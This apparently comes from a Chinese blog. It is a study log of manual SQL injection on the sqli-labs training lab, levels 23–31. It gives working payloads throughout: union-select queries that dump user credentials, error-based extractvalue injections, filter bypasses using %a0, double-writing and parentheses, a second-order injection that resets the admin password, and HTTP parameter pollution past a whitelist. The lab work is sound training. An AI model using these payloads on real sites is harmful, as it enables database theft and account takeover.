sqlilab学习打卡|手工注入|Less23-Less31

在windows环境搭建sqlilab的朋友们注意下,26关往后好几关都需要Linux环境,才能更加完全的测试。本来想自己服务器搭建,但是忽然想起来这玩意还需要低版本的php,麻烦得很,用docker也还是得花些时间。

因此我就直接找了在线靶场,在这里分享下网址http://vulfocus.io,直接搜索框搜索sqli-lab就能出来,瞬间解决了我的燃眉之急,缺点是每次就十几二十分钟,一会就要重启容器

buu实测不行,解析不了%a0
更新下:今天看到的新一篇文章通过sqli-lab学习基于服务器架构上的sql注入,对于29-31关能够更好的理解。

less-23 error-based-no comments

如题过滤了注释符,但是因为有报错信息,所以知道是单引号闭合

那么只需要想办法构造能够闭合单引号的句子即可

id=a' union select 1,group_concat(username),group_concat(password) from users where 1 or 1='

在我前面刷题的时候,已经知道当union select前面的查询无内容时,这条语句就只会显示union select的查询结果,因此这样构造payload,不需要使用limit,同时末尾用where辅助闭合单引号

less-24

本来用的buu又有问题了,只能换回本地环境了

image-20220402093127556

简单测试了下几个页面,还是没搞明白,所以只能看看代码了

没想到代码也有好几个文件,大概浏览下发现完全搞不明白问题出在哪了,只能一个点一个点的分析源代码

登录功能

逻辑:post传入uname和password,用mysql_real_escape_string过滤了一遍,然后就调用select,成功就会设置session,session设置的是查询到的username,登录成功会通过获取session显示查询结果

应对:1. 绕过mysql_real_escape_string 2.如果能够绕过,就能够用盲注或者联合查询?

问题:不会绕过这个函数。

密码重置

逻辑:三个可控变量 旧密码 新密码 新密码确认 ,三个密码也都用了mysql_real_escape_string过滤,然后就会用update语句

应对:1. 绕过mysql_real_escape_string 2.如果能够绕过,就能够用盲注

问题:不会绕过这个函数。。

注册功能

逻辑:三个可控变量 用户名 密码 确认密码,都用了mysql_real_escape_string过滤,用select count(*) 来判断用户名是否存在,然后insert语句

应对:1. 绕过mysql_real_escape_string 2.如果能够绕过,就能够用盲注

问题:不会绕过这个函数。。。

仔细观察这些变量出现的地方,发现只有在重置密码处,表中的username被重新调用,并且没有过滤就拼接了进去

image-20220402123219717

到这里网上流传的攻击方法是修改其他用户的密码,然后就能登录其他用户

比如

UPDATE users SET PASSWORD='123' where username='admin' -- ='

刚开始注册一个用户 admin’ – =

然后登录

image-20220402130311990

重置密码

image-20220402130344496

用新密码尝试登录admin

image-20220402130431119

到此为止,是这一关的教学内容,只是我没有找到任何人用绕过那个函数的方法解决这关,等我会了再来搞下这关

less-25 Trick with or and

随便测试了下,有报错信息,很快就发现是将or 、and转为空,这种的可以双写绕过

当然也有别的绕过方法,这里有一篇文章1 文章2写的内容挺详细的

image-20220402133306531

less-25a

测试发现是数字型注入

?id=0 || 1

?id=0 || 0

?id=0 union select 1,2,3 – =

less-26

有回显,有报错,单引号闭合,注释符被过滤了

一些过滤及绕过总结文章

绕过空格参考文章

%09 TAB键(水平)
%0a 新建一行
%0c 新的一页
%0d return功能
%0b TAB键(垂直)
%a0 空格 Windows识别不出来,Linux没测试

测试了下,发现根本没用,以上符号确实能够代替空格符,但是这就是url编码,进入php就已经是空格,然后就被过滤掉了,不过这个知识没见过,在这🐎一下

image-20220402144011441

空格绕过

注释符绕过

select/**/*/**/from/**/users

括号绕过

?id=1'||extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database())),0x7e))||1||'

这一关使用的报错注入加括号绕过

image-20220402144757452

%a0绕过

使用 “%a0” 或 “%0b” 替代空格,使用 “||” 替代 “or”,使用 “&&” 替代 “and”

id=a'%a0union%a0select%a01,group_concat(username),group_concat(passwoorrd)%a0from%a0users%a0where%a01||'

image-20220402164330701

以上是我自己测试下来确实有用的,网上还有很多方法,我试着没用就先不记录了

还找到一种方法,虽然还是括号绕过空格,但这算是布尔盲注吗?

id=a'||substr((select(group_concat(username))from(users)),1,1)='D'||'

image-20220402150128799

less-26a

闭合方式是单引号加括号,无错误回显,能够使用盲注和联合查询注入。

关于闭合方式的判断

不用注释符后不会判断有无小括号了

第一种方法我测试确实能够判断,但是不太理解

[这篇文章介绍了两种方法](Sqli-Labs:Less 26 - Less 26a - 简书 (jianshu.com))

11"正常回显,1'报错,判断为字符型,但是还要判断是否有小括号

判断小括号有几种方法:

  1. 2'&&'1'='1
  • 若查询语句为where id='$id',查询时是where id='2'&&'1'='1',结果是where id='2',回显会是id=2
  • 若查询语句为where id=('$id'),查询时是where id=('2'&&'1'='1'),MySQL 将'2'作为了 Bool 值,结果是where id=('1'),回显会是id=1
  1. 1')||'1'=('1
    若查询语句有小括号正确回显,若无小括号错误回显(无回显)。

作者:Hyafinthus
链接:https://www.jianshu.com/p/ff72f2c6d99c
来源:简书
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

联合查询,%a0绕过空格

id=a')%a0union%a0select%a01,group_concat(username),group_concat(passwoorrd)%a0from%a0users%a0where%a01%a0||('

image-20220402184354707

盲注

image-20220402155018142

less-27 union select

单引号闭合,有报错信息,有回显内容,各种注入方式应该都能用,只要能绕过

虽然过滤了 union 和select但是过滤方式比较简单,可以使用大小写绕过或者双写绕过

盲注

image-20220402155906938

报错注入
image-20220402160226577

less-27a

有回显信息,无报错,?id=a"||1||" 测出双引号闭合

盲注或者联合查询

image-20220402160809761

less-28

测出单引号闭合,无报错,有回显

后面发现是单引号加括号闭合

?id=a’)or(‘1’='1

?id=a’)||(’

我的测试能成功是因为闭合了单引号后,只剩括号,因此会先执行括号内的内容

盲注依然成功

image-20220402161001449

空格依然被过滤,可以用%a0绕过
image-20220402193619482

看源代码发现这次是union select这一对被过滤,不过不是很理解这关过滤的意义

image-20220402161404743

less-28a

有回显,无报错,id=1')||('单引号加括号闭合

过滤点用都没有啊,这次只过滤了union select 但是%a0能绕过

id=a')union%a0select 1,group_concat(username),group_concat(password) from users where 1 ||('

image-20220402194853366

less-29 protection with WAF

有回显,有报错,单引号闭合

本来就是想随便测试下,没想到一个过滤都没碰到,就全爆出来了

看了下源代码,发现不对劲,他可能忘记删除index.php了?我这默认index.php

image-20220402195204548

实际这一关的入口在login.php

image-20220402204225458

这种类型第一次做,所以直接去看源代码了

源码审计

函数java_implimentation中,id的值只截取前30位返回

image-20220402202122805
image-20220402203134903

所以只需要前30位是数字就能绕过白名单拼接进sql语句完成注入!

id=123456789012345678901234567890' union select 1,group_concat(username),group_concat(password) from users -- =

image-20220402203320796

别人的做法

新概念一:HPP(HTTP 参数污染)[参数污染参考链接](参数污染漏洞(HPP)挖掘技巧及实战案例全汇总 - 云+社区 - 腾讯云 (tencent.com))

HTTP协议没有规定遇到同名参数如何处理,因此当出现同名参数的情况时,完全看后端的逻辑。

这样不同的程序,对同名参数的处理方式就不相同。

preload

这道题如果使用HTTP参数污染,该这样做,传入参数id=1&id=2'-- =

image-20220402205419875

waf只会识别到前面的id=1符合白名单,但是php又会将最后一个作为传进来的参数,后一个参数会绕过waf,直接拼接进sql语句造成注入漏洞

再次搜索这关,发现[这篇提到双服务器概念的文章](sqli-labs(29-31) - 极客分享 (geek-share.com))

虽然也是用HPP解决这道题,但是原理解释好像不太一样,我有点懵

仔细想了下,至少我这应该不是双服务器吧?会不会是之前的老版本不一样?

而且搜索双服务器这个词,搜到的都是sqlilab相关的。。。

这一关源码WAF解析第一个id,完全是他代码逻辑只读取第一个id的前30个字符,并不觉得是什么双服务器

到第31关又回来了,这几关的文件结构都是index.php 加上login.php 作为主要页面,不会真的是给双服务器准备的吧,脑壳痛,这几关过下绕过方式,就不多纠结了。。

less-30

有回显,有报错,报错信息测出双引号闭合

和上一关差不多,不过也要注意手动改成login.php

less-31

有回显,有报错,双引号加括号闭合

image-20220402231215728

报错注入

依然是HPP绕过,因为可以显示报错信息,试了下报错注入

?id=1&id=2") and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) ||("

image-20220402231423424

联合查询

image-20220402231623351

看下源码

就是闭合方式变了,WAF没什么变化

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值